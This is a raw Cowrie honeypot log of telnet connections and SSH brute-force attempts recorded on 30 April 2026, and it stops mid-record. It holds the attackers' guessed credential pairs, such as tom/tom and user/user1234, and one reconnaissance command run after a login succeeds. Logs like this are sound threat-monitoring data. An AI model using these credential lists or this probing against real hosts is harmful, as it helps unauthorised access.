{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:40.474051Z","src_ip":"192.109.200.78","session":"d0128d8c83f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:40.721606Z","src_ip":"192.109.200.78","session":"d0128d8c83f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.59.95.121","src_port":58620,"dst_ip":"159.203.135.109","dst_port":23,"session":"da8a2e07d13e","protocol":"telnet","message":"New connection: 139.59.95.121:58620 (159.203.135.109:23) [session: da8a2e07d13e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:41.663261Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:41.807254Z","src_ip":"192.109.200.78","session":"d0128d8c83f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.467369079589844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:42.114228Z","src_ip":"172.83.83.168","session":"9556e567996c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":53026,"dst_ip":"159.203.135.109","dst_port":23,"session":"e92d3d350ce7","protocol":"telnet","message":"New connection: 103.176.85.233:53026 (159.203.135.109:23) [session: e92d3d350ce7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:43.092720Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":53030,"dst_ip":"159.203.135.109","dst_port":23,"session":"906426d3a7ef","protocol":"telnet","message":"New connection: 103.176.85.233:53030 (159.203.135.109:23) [session: 906426d3a7ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:43.099130Z"}
{"eventid":"cowrie.session.closed","duration":30.977699756622314,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:44.012674Z","src_ip":"137.184.59.230","session":"2b332a5ddbeb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941707849502563,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:44.219754Z","src_ip":"103.176.85.233","session":"b05cbc99561b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":42694,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb8f3aa7ee1e","protocol":"ssh","message":"New connection: 192.109.200.78:42694 (10.17.0.5:22) [session: fb8f3aa7ee1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:44.618356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:44.623011Z","src_ip":"192.109.200.78","session":"fb8f3aa7ee1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:45.008665Z","src_ip":"192.109.200.78","session":"fb8f3aa7ee1e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"tom","password":"tom","message":"login attempt [tom/tom] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:45.265259Z","src_ip":"192.109.200.78","session":"fb8f3aa7ee1e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:45.477760Z","src_ip":"192.109.200.78","session":"fb8f3aa7ee1e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:45.481044Z","src_ip":"192.109.200.78","session":"fb8f3aa7ee1e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:45.565994Z","src_ip":"192.109.200.78","session":"fb8f3aa7ee1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:45.570835Z","src_ip":"192.109.200.78","session":"fb8f3aa7ee1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":53038,"dst_ip":"159.203.135.109","dst_port":23,"session":"e867916ee59b","protocol":"telnet","message":"New connection: 103.176.85.233:53038 (159.203.135.109:23) [session: e867916ee59b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:45.845504Z"}
{"eventid":"cowrie.session.closed","duration":30.445369243621826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:46.169096Z","src_ip":"103.176.85.233","session":"ad8c17a3cac8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58797860145569,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:46.353607Z","src_ip":"103.176.85.233","session":"926846cf4b28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":36372,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddaff309725b","protocol":"telnet","message":"New connection: 103.176.85.233:36372 (159.203.135.109:23) [session: ddaff309725b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:46.506723Z"}
{"eventid":"cowrie.session.closed","duration":30.932316780090332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:46.789180Z","src_ip":"103.139.59.224","session":"323d137540b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.85.233","src_port":36380,"dst_ip":"159.203.135.109","dst_port":23,"session":"2c34619390ae","protocol":"telnet","message":"New connection: 103.176.85.233:36380 (159.203.135.109:23) [session: 2c34619390ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:47.022624Z"}
{"eventid":"cowrie.session.closed","duration":30.500627994537354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:48.166980Z","src_ip":"103.176.85.233","session":"6a396ea2c08d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.527395963668823,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:48.215871Z","src_ip":"31.186.175.50","session":"4046755c2a7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36130,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd72bc778953","protocol":"ssh","message":"New connection: 192.109.200.78:36130 (10.17.0.5:22) [session: cd72bc778953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:48.780841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:48.785442Z","src_ip":"192.109.200.78","session":"cd72bc778953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:48.867809Z","src_ip":"192.109.200.78","session":"cd72bc778953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.832724571228027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:49.010540Z","src_ip":"198.50.124.226","session":"295788725f37","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:49.237773Z","src_ip":"192.109.200.78","session":"cd72bc778953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.753902196884155,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:50.104757Z","src_ip":"137.184.59.230","session":"e13b00b337a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.560832977294922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:50.118970Z","src_ip":"103.176.85.233","session":"a53e9bcd99f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191685676574707,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:50.126617Z","src_ip":"103.176.85.233","session":"7e50732f1c77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:50.324407Z","src_ip":"192.109.200.78","session":"cd72bc778953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.142398357391357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:50.337077Z","src_ip":"103.176.85.233","session":"db6af44f7397","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.56016492843628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:51.201944Z","src_ip":"103.176.85.233","session":"a73fd6e7cc1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":43444,"dst_ip":"159.203.135.109","dst_port":23,"session":"788202ee384f","protocol":"telnet","message":"New connection: 69.60.120.238:43444 (159.203.135.109:23) [session: 788202ee384f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:53.151806Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36152,"dst_ip":"10.17.0.5","dst_port":22,"session":"a35445a97465","protocol":"ssh","message":"New connection: 192.109.200.78:36152 (10.17.0.5:22) [session: a35445a97465]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:53.168698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:53.172330Z","src_ip":"192.109.200.78","session":"a35445a97465","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:53.253270Z","src_ip":"192.109.200.78","session":"a35445a97465","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:53.501006Z","src_ip":"192.109.200.78","session":"a35445a97465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.60782527923584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:54.408206Z","src_ip":"103.139.59.224","session":"6722227deac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:54.591069Z","src_ip":"192.109.200.78","session":"a35445a97465","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.58432173728943,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:55.416004Z","src_ip":"103.139.59.224","session":"eb625e699194","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.217.230.214","src_port":55662,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c6260ac0f46","protocol":"telnet","message":"New connection: 95.217.230.214:55662 (159.203.135.109:23) [session: 8c6260ac0f46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:55.624554Z"}
{"eventid":"cowrie.session.closed","duration":30.917871236801147,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:56.479218Z","src_ip":"103.176.85.233","session":"cb4d05943002","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36178,"dst_ip":"10.17.0.5","dst_port":22,"session":"1762457c12e7","protocol":"ssh","message":"New connection: 192.109.200.78:36178 (10.17.0.5:22) [session: 1762457c12e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:57.270515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:57.353015Z","src_ip":"192.109.200.78","session":"1762457c12e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.23932385444641,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:57.436905Z","src_ip":"172.83.83.168","session":"4814cf3ae6e0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:57.508315Z","src_ip":"192.109.200.78","session":"1762457c12e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.765595197677612,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:57.564029Z","src_ip":"103.139.59.224","session":"335ace16db6e","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:58.214799Z","src_ip":"192.109.200.78","session":"1762457c12e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:26:59.302322Z","src_ip":"192.109.200.78","session":"1762457c12e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.60.120.238","src_port":45118,"dst_ip":"159.203.135.109","dst_port":23,"session":"161801371a54","protocol":"telnet","message":"New connection: 69.60.120.238:45118 (159.203.135.109:23) [session: 161801371a54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:00.172029Z"}
{"eventid":"cowrie.session.closed","duration":31.93059253692627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:01.158137Z","src_ip":"103.139.59.224","session":"e4c8972aaf35","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53860,"dst_ip":"10.17.0.5","dst_port":22,"session":"6980a2f74c9e","protocol":"ssh","message":"New connection: 192.109.200.78:53860 (10.17.0.5:22) [session: 6980a2f74c9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:01.625429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:27:01.630072Z","src_ip":"192.109.200.78","session":"6980a2f74c9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sh